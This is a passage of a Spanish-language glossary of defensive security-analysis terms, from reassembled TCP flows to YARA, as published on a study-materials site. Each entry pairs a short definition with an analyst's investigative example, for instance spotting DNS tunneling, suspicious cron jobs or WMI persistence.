El reensamblado de flujos TCP reconstruye los bytes de aplicación de una comunicación TCP para que un analista pueda leer un intercambio en secuencia.
Seguir un flujo revela una respuesta con un ejecutable detrás de una solicitud cuya URL termina con un sufijo de página web.
Registro de dominios con errores tipográficos (typosquatting)
El registro de dominios con errores tipográficos consiste en registrar un dominio mal escrito o visualmente parecido para suplantar a otra organización o aprovechar errores de escritura.
El analista detecta un dígito que sustituye a una letra en el dominio del supuesto proveedor.
Registro de flujo de red
Un registro de flujo de red resume los paquetes que comparten una clave de red durante un periodo y conserva recuentos de tráfico y metadatos sin los datos transportados.
El historial de flujos a largo plazo muestra si el destino de una alerta era nuevo para la estación de trabajo antes de esa alerta.
Regla del sistema de detección de intrusiones (IDS)
Una regla de IDS especifica las condiciones de tráfico que producen una detección, incluidos un protocolo, una dirección y comprobaciones opcionales de contenido o flujo.
El analista lee la condición de flujo establecido de una alerta antes de decidir qué significa su coincidencia de puerto.
Remitente del sobre SMTP
El remitente del sobre SMTP es la dirección de retorno utilizada para los fallos de entrega, que normalmente registra el receptor en Return-Path.
Un servicio de correo usa su propio dominio de sobre mientras muestra la dirección From de su cliente.
Reputación
La reputación resume observaciones o informes anteriores sobre un objeto, como un archivo o una IP, y requiere fechas y contexto local para interpretarse.
Un recuento bajo de detecciones se comprueba frente a la primera aparición de la muestra y su comportamiento registrado.
Respuesta de dominio inexistente (NXDOMAIN)
NXDOMAIN es un código de respuesta DNS que indica que el nombre de dominio consultado no existe; es distinto de un tiempo de espera agotado de conexión.
Los fallos repetidos para muchos nombres de aspecto generado llevan al analista a examinar el proceso que realiza las solicitudes.

S

Secuestro de hilos de conversación
El secuestro de hilos de conversación introduce un mensaje de un atacante en una conversación existente para aprovechar su contexto y la confianza de los participantes.
Una solicitud para redirigir una factura llega dentro de un intercambio auténtico con el buzón comprometido de un proveedor.
Sesgo de confirmación
El sesgo de confirmación favorece la información que respalda una teoría existente y descuida las evidencias que podrían debilitarla o sustituirla.
El analista comprueba un ticket de mantenimiento incluso después de que varios eventos sugieran inicialmente una intrusión.
SHA-256
SHA-256 es una función hash criptográfica que produce un valor de 256 bits, escrito como 64 caracteres hexadecimales, para identificar el contenido de un archivo.
El analista calcula el hash de una muestra exportada y registra el valor junto con los detalles de su recopilación.
Sistema de nombres de dominio (DNS)
El sistema de nombres de dominio (DNS) proporciona registros asociados a nombres, incluidas direcciones, servidores de correo, alias y texto.
Una respuesta A proporciona una dirección IPv4 que puede compararse con la conexión posterior de una estación de trabajo.
Software de secuestro de datos o sistemas (ransomware)
El software de secuestro de datos o sistemas es software malicioso que deniega el acceso a datos o sistemas, habitualmente mediante cifrado, y exige un pago.
La eliminación de copias de seguridad seguida de cambios masivos de nombres de archivos y notas de rescate activa un escalamiento urgente de la respuesta.
Suplantación de identidad dirigida (spear phishing)
La suplantación de identidad dirigida se centra en personas o grupos seleccionados y utiliza detalles elegidos para que la solicitud resulte pertinente y creíble para esos destinatarios.
Un atacante menciona un proyecto real al pedir a su contacto de finanzas que abra un documento.
Suplantación de identidad mediante mensajes fraudulentos (phishing)
La suplantación de identidad mediante mensajes fraudulentos consiste en enviar un mensaje fraudulento que intenta provocar una acción perjudicial, como revelar credenciales, enviar dinero o ejecutar contenido.
Un mensaje presiona a un usuario para que omita el procedimiento normal de aprobación ante un supuesto cierre de cuenta.
Suscripción a eventos de WMI
Una suscripción a eventos de WMI vincula un filtro de eventos con una acción de consumidor, lo que permite la ejecución automática cuando ocurre el evento elegido.
El analista une los registros de filtro, consumidor y vinculación de Sysmon para reconstruir el desencadenante persistente.

T

Tabla de importaciones PE
Una tabla de importaciones PE enumera las funciones que un ejecutable de Windows solicita a bibliotecas y proporciona pistas sobre posibles capacidades.
Las importaciones de memoria remota y creación de hilos sugieren una capacidad de inyección que merece comprobarse dinámicamente.
Tarea de cron
Una tarea de cron es un comando programado en sistemas de tipo Unix que usa campos de tiempo para indicar cuándo debe ejecutarlo un usuario o el sistema.
Una tarea de usuario inexplicada descarga y ejecuta un script cada diez minutos, creando una vía de ejecución repetida.
Tarea programada
Una tarea programada configura un programa para que se ejecute a una hora, a intervalos o ante un evento, y proporciona tanto automatización legítima como una vía de persistencia.
Una tarea de actualización de aspecto fiable ejecuta en realidad un archivo almacenado en una carpeta pública.
Tiempo universal coordinado (UTC)
El tiempo universal coordinado (UTC) proporciona la referencia horaria común utilizada para comparar eventos registrados en distintas zonas locales.
Una exportación registrada en UTC+2 se convierte antes de comparar el inicio de su proceso con un evento del firewall.
Traducción de direcciones de red (NAT)
La traducción de direcciones de red (NAT) modifica la información de direcciones entre redes y puede ocultar las identidades de los equipos internos a un sensor externo.
Un registro de traducción del firewall vincula una conexión de origen pública con la estación de trabajo que la inició.
Tunelización DNS
La tunelización DNS transporta datos mediante mensajes DNS, a menudo en etiquetas de consulta codificadas que dividen una transferencia mayor entre varias solicitudes.
Un equipo envía muchos subdominios únicos y largos bajo un mismo dominio principal durante un periodo de carga inusual.

U

Unidad de systemd
Una unidad de systemd es un objeto de configuración para gestionar recursos de Linux, como servicios, cuyos archivos de unidad definen cómo se inicia un servicio.
El analista compara el programa y la configuración de inicio de un nuevo archivo de unidad con la línea base aprobada del servidor.

V

Variación de los intervalos de comunicación (jitter)
La variación de los intervalos de comunicación es una variación añadida a los intervalos de comunicación repetidos que puede hacer menos regular un patrón automatizado de contactos.
Una secuencia centrada en torno a cinco minutos sigue pareciendo automatizada aunque cada intervalo difiera ligeramente.
Verdadero positivo
Un verdadero positivo es una detección correcta de actividad maliciosa, respaldada por el comportamiento observado y el contexto de la investigación.
El programa de descarga detectado se vincula con la ejecución no aprobada de un documento y una persistencia recién establecida.
Verdadero positivo benigno
Un verdadero positivo benigno detecta correctamente el comportamiento previsto cuando ese comportamiento está autorizado, como una prueba de seguridad aprobada.
Una alerta de escaneo es correcta y un calendario de pruebas de seguridad confirma que el escáner que observó estaba aprobado.

Y

YARA
YARA es un lenguaje de reglas que busca coincidencias en archivos o memoria mediante cadenas, patrones de bytes y condiciones lógicas especificadas por un analista.
Una regla exige tanto una firma de ejecutable al inicio como dos cadenas integradas distintivas.

Sobre esta unidad

Por StudeliInformar de un error

Crea tus propios Materiales de Estudio

Convierte tus notas, diapositivas y documentos en Guías de Estudio, Preguntas de Práctica, Flashcards y 6 herramientas más.

Comenzar